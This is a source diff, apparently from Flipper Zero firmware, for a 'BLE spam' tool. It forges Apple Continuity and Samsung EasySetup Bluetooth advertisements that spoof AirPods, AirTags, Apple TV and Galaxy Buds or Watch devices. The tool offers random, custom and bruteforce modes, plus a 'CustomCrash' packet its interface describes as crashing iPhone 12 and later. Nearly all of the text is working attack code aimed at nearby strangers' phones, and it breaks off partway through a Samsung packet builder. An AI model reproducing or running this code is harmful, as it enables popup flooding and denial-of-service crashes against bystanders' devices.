const char* name;
} pp_prefixes[] = {
{0x01, "New Device"},
{0x07, "Not Your Device"},
{0x05, "New Airtag"},
};
const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
const struct {
uint8_t value;
const char* name;
} na_actions[] = {
{0x13, "AppleTV AutoFill"},
{0x27, "AppleTV Connecting..."},
{0x20, "Join This AppleTV?"},
{0x19, "AppleTV Audio Sync"},
{0x1E, "AppleTV Color Balance"},
{0x09, "Setup New iPhone"},
{0x02, "Transfer Phone Number"},
{0x0B, "HomePod Setup"},
{0x01, "Setup New AppleTV"},
{0x06, "Pair AppleTV"},
{0x0D, "HomeKit AppleTV Setup"},
{0x2B, "AppleID for AppleTV?"},
};
const uint8_t na_actions_count = COUNT_OF(na_actions);
static const char* type_names[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Proximity Pair",
[ContinuityTypeProximityPair] = "Continuity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyAction] = "Continuity Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
[ContinuityTypeCustomCrash] = "Continuity Custom",
};
const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) {
const ContinuityCfg* cfg = &_cfg->continuity;
static const char* get_name(const Payload* payload) {
const ContinuityCfg* cfg = &payload->cfg.continuity;
return type_names[cfg->type];
}
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCount] = {
static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
@@ -32,12 +87,11 @@ static uint8_t packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
ContinuityType type;
if(cfg) {
if(cfg && cfg->type != 0x00) {
type = cfg->type;
} else {
const ContinuityType types[] = {
@@ -85,35 +139,21 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
case ContinuityTypeProximityPair: {
uint16_t model;
if(cfg && cfg->data.proximity_pair.model != 0x0000) {
switch(payload ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = pp_models[rand() % pp_models_count].value;
break;
case PayloadModeValue:
model = cfg->data.proximity_pair.model;
} else {
const uint16_t models[] = {
0x0E20, // AirPods Pro
0x0620, // Beats Solo 3
0x0A20, // AirPods Max
0x1020, // Beats Flex
0x0055, // Airtag
0x0030, // Hermes Airtag
0x0220, // AirPods
0x0F20, // AirPods 2nd Gen
0x1320, // AirPods 3rd Gen
0x1420, // AirPods Pro 2nd Gen
0x0320, // Powerbeats 3
0x0B20, // Powerbeats Pro
0x0C20, // Beats Solo Pro
0x1120, // Beats Studio Buds
0x0520, // Beats X
0x0920, // Beats Studio 3
0x1720, // Beats Studio Pro
0x1220, // Beats Fit Pro
0x1620, // Beats Studio Buds+
};
model = models[rand() % COUNT_OF(models)];
break;
case PayloadModeBruteforce:
model = cfg->data.proximity_pair.model = payload->bruteforce.value;
break;
}
uint8_t prefix;
if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
prefix = cfg->data.proximity_pair.prefix;
} else {
if(model == 0x0055 || model == 0x0030)
@@ -176,37 +216,30 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
case ContinuityTypeNearbyAction: {
uint8_t action;
if(cfg && cfg->data.nearby_action.type != 0x00) {
action = cfg->data.nearby_action.type;
} else {
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
action = actions[rand() % COUNT_OF(actions)];
switch(payload ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
action = na_actions[rand() % na_actions_count].value;
break;
case PayloadModeValue:
action = cfg->data.nearby_action.action;
break;
case PayloadModeBruteforce:
action = cfg->data.nearby_action.action = payload->bruteforce.value;
break;
}
uint8_t flag;
uint8_t flags;
if(cfg && cfg->data.nearby_action.flags != 0x00) {
flag = cfg->data.nearby_action.flags;
flags = cfg->data.nearby_action.flags;
} else {
flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
}
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
@@ -224,31 +257,16 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
case ContinuityTypeCustomCrash: {
// Found by @ECTO-1A
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
uint8_t action = actions[rand() % COUNT_OF(actions)];
uint8_t flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
uint8_t action = na_actions[rand() % na_actions_count].value;
uint8_t flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
packet[i++] = 0x05; // Continuity Size
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
@@ -269,8 +287,599 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_continuity = {
.icon = &I_apple,
.get_name = continuity_get_name,
.make_packet = continuity_make_packet,
enum {
_ConfigPpExtraStart = ConfigExtraStart,
ConfigPpModel,
ConfigPpPrefix,
ConfigPpCOUNT,
};
enum {
_ConfigNaExtraStart = ConfigExtraStart,
ConfigNaAction,
ConfigNaFlags,
ConfigNaCOUNT,
};
enum {
_ConfigCcExtraStart = ConfigExtraStart,
ConfigCcInfoLock,
ConfigCcInfoDevice,
ConfigCcCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(cfg->type) {
case ContinuityTypeProximityPair: {
switch(index) {
case ConfigPpModel:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
break;
case ConfigPpPrefix:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeNearbyAction: {
switch(index) {
case ConfigNaAction:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
break;
case ConfigNaFlags:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeCustomCrash: {
switch(index) {
case ConfigCcInfoLock:
case ConfigCcInfoDevice:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void pp_model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = pp_models[index].value;
variable_item_set_current_value_text(item, pp_models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void pp_prefix_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
variable_item_set_current_value_text(item, pp_prefixes[index].name);
} else {
cfg->data.proximity_pair.prefix = 0x00;
variable_item_set_current_value_text(item, "Auto");
}
}
static void na_action_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
ContinuityCfg* cfg = &payload->cfg.continuity;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = na_actions[index].value;
variable_item_set_current_value_text(item, na_actions[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
switch(cfg->type) {
case ContinuityTypeProximityPair: {
item = variable_item_list_add(
list, "Model Code", pp_models_count + 1, pp_model_changed, payload);
const char* model_name = NULL;
char model_name_buf[5];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < pp_models_count; i++) {
if(cfg->data.proximity_pair.model == pp_models[i].value) {
model_name = pp_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(
model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
model_name = model_name_buf;
value_index = pp_models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = pp_models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
item = variable_item_list_add(
list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
const char* prefix_name = NULL;
char prefix_name_buf[3];
if(cfg->data.proximity_pair.prefix == 0x00) {
prefix_name = "Auto";
value_index = 0;
} else {
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
prefix_name = pp_prefixes[i].name;
value_index = i + 1;
break;
}
}
if(!prefix_name) {
snprintf(
prefix_name_buf,
sizeof(prefix_name_buf),
"%02X",
cfg->data.proximity_pair.prefix);
prefix_name = prefix_name_buf;
value_index = pp_prefixes_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, prefix_name);
break;
}
case ContinuityTypeNearbyAction: {
item = variable_item_list_add(
list, "Action Type", na_actions_count + 1, na_action_changed, payload);
const char* action_name = NULL;
char action_name_buf[3];
switch(payload->mode) {
case PayloadModeRandom:
default:
action_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < na_actions_count; i++) {
if(cfg->data.nearby_action.action == na_actions[i].value) {
action_name = na_actions[i].name;
value_index = i + 1;
break;
}
}
if(!action_name) {
snprintf(
action_name_buf,
sizeof(action_name_buf),
"%02X",
cfg->data.nearby_action.action);
action_name = action_name_buf;
value_index = na_actions_count + 1;
}
break;
case PayloadModeBruteforce:
action_name = "Bruteforce";
value_index = na_actions_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, action_name);
item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
const char* flags_name = NULL;
char flags_name_buf[3];
if(cfg->data.nearby_action.flags == 0x00) {
flags_name = "Auto";
} else {
snprintf(
flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
flags_name = flags_name_buf;
}
variable_item_set_current_value_text(item, flags_name);
break;
}
case ContinuityTypeCustomCrash: {
variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
break;
}
default:
break;
}
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_counts[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = 0,
[ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
[ContinuityTypeAirplayTarget] = 0,
[ContinuityTypeHandoff] = 0,
[ContinuityTypeTetheringSource] = 0,
[ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
[ContinuityTypeNearbyInfo] = 0,
[ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
};
static uint8_t config_count(const Payload* payload) {
const ContinuityCfg* cfg = &payload->cfg.continuity;
return config_counts[cfg->type];
}
const Protocol protocol_continuity = {
.icon = &I_apple,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void pp_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
break;
case pp_models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.proximity_pair.model;
payload->bruteforce.size = 2;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = pp_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < pp_models_count; i++) {
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.proximity_pair.model == pp_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = pp_models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = pp_models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
payload->mode = PayloadModeValue;
cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_prefix_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
cfg->data.proximity_pair.prefix = 0x00;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_prefixes_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
break;
default:
cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_prefix_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
if(cfg->data.proximity_pair.prefix == 0x00) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
if(!found) {
selected = pp_prefixes_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_prefix_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Prefix");
ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_action_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case na_actions_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
break;
case na_actions_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.nearby_action.action;
payload->bruteforce.size = 1;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = na_actions[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_na_action_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < na_actions_count; i++) {
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.nearby_action.action == na_actions[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = na_actions_count + 1;
}
submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = na_actions_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_action_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
payload->mode = PayloadModeValue;
cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Action Type");
ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_flags_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_flags_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Press back for automatic");
ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
Ctx* ctx = _ctx;
if(event.type == SceneManagerEventTypeBack) {
ctx->byte_store[0] = 0x00;
}
return false;
}
void scene_continuity_na_flags_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
ContinuityCfg* cfg = &payload->cfg.continuity;
cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
}

View File

@@ -16,21 +16,21 @@ typedef enum {
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
ContinuityTypeCOUNT
} ContinuityType;
typedef struct {
ContinuityType type;
union {
struct {
uint8_t prefix;
uint16_t model;
uint8_t prefix;
} proximity_pair;
struct {
uint8_t action;
uint8_t flags;
uint8_t type;
} nearby_action;
} data;
} ContinuityCfg;
extern const BleSpamProtocol ble_spam_protocol_continuity;
extern const Protocol protocol_continuity;

View File

@@ -0,0 +1,7 @@
ADD_SCENE(continuity_pp_model, ContinuityPpModel)
ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom)
ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix)
ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom)
ADD_SCENE(continuity_na_action, ContinuityNaAction)
ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom)
ADD_SCENE(continuity_na_flags, ContinuityNaFlags)

View File

@@ -0,0 +1,574 @@
#include "easysetup.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Research by @Spooks4576
const struct {
uint32_t value;
const char* name;
} buds_models[] = {
{0xEE7A0C, "Fallback Buds"},
{0x9D1700, "Fallback Dots"},
{0x39EA48, "Light Purple Buds2"},
{0xA7C62C, "Bluish Silver Buds2"},
{0x850116, "Black Buds Live"},
{0x3D8F41, "Gray & Black Buds2"},
{0x3B6D02, "Bluish Chrome Buds2"},
{0xAE063C, "Gray Beige Buds2"},
{0xB8B905, "Pure White Buds"},
{0xEAAA17, "Pure White Buds2"},
{0xD30704, "Black Buds"},
{0x9DB006, "French Flag Buds"},
{0x101F1A, "Dark Purple Buds Live"},
{0x859608, "Dark Blue Buds"},
{0x8E4503, "Pink Buds"},
{0x2C6740, "White & Black Buds2"},
{0x3F6718, "Bronze Buds Live"},
{0x42C519, "Red Buds Live"},
{0xAE073A, "Black & White Buds2"},
{0x011716, "Sleek Black Buds2"},
};
const uint8_t buds_models_count = COUNT_OF(buds_models);
const struct {
uint8_t value;
const char* name;
} watch_models[] = {
{0x1A, "Fallback Watch"},
{0x01, "White Watch4 Classic 44m"},
{0x02, "Black Watch4 Classic 40m"},
{0x03, "White Watch4 Classic 40m"},
{0x04, "Black Watch4 44mm"},
{0x05, "Silver Watch4 44mm"},
{0x06, "Green Watch4 44mm"},
{0x07, "Black Watch4 40mm"},
{0x08, "White Watch4 40mm"},
{0x09, "Gold Watch4 40mm"},
{0x0A, "French Watch4"},
{0x0B, "French Watch4 Classic"},
{0x0C, "Fox Watch5 44mm"},
{0x11, "Black Watch5 44mm"},
{0x12, "Sapphire Watch5 44mm"},
{0x13, "Purpleish Watch5 40mm"},
{0x14, "Gold Watch5 40mm"},
{0x15, "Black Watch5 Pro 45mm"},
{0x16, "Gray Watch5 Pro 45mm"},
{0x17, "White Watch5 44mm"},
{0x18, "White & Black Watch5"},
{0x1B, "Black Watch6 Pink 40mm"},
{0x1C, "Gold Watch6 Gold 40mm"},
{0x1D, "Silver Watch6 Cyan 44mm"},
{0x1E, "Black Watch6 Classic 43m"},
{0x20, "Green Watch6 Classic 43m"},
};
const uint8_t watch_models_count = COUNT_OF(watch_models);
static const char* type_names[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = "EasySetup Buds",
[EasysetupTypeWatch] = "EasySetup Watch",
};
static const char* get_name(const Payload* payload) {
const EasysetupCfg* cfg = &payload->cfg.easysetup;
return type_names[cfg->type];
}
static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = 31,
[EasysetupTypeWatch] = 15,
};
void make_packet(uint8_t* out_size, uint8_t** out_packet, Payload* payload) {
EasysetupCfg* cfg = payload ? &payload->cfg.easysetup : NULL;
EasysetupType type;
if(cfg && cfg->type != 0x00) {
type = cfg->type;
} else {
const EasysetupType types[] = {
EasysetupTypeBuds,
EasysetupTypeWatch,
};
type = types[rand() % COUNT_OF(types)];
}
uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size);
uint8_t i = 0;
switch(type) {
case EasysetupTypeBuds: {
uint32_t model;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = buds_models[rand() % buds_models_count].value;
break;
case PayloadModeValue:
model = cfg->data.buds.model;
break;
case PayloadModeBruteforce:
model = cfg->data.buds.model = payload->bruteforce.value;
break;
}
packet[i++] = 27; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
packet[i++] = 0x00; // ...
packet[i++] = 0x42;
packet[i++] = 0x09;
packet[i++] = 0x81;
packet[i++] = 0x02;
packet[i++] = 0x14;
packet[i++] = 0x15;
packet[i++] = 0x03;
packet[i++] = 0x21;
packet[i++] = 0x01;
packet[i++] = 0x09;
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = 0x01;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x06;
packet[i++] = 0x3C;
packet[i++] = 0x94;
packet[i++] = 0x8E;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0xC7;
packet[i++] = 0x00;
packet[i++] = 16; // Size
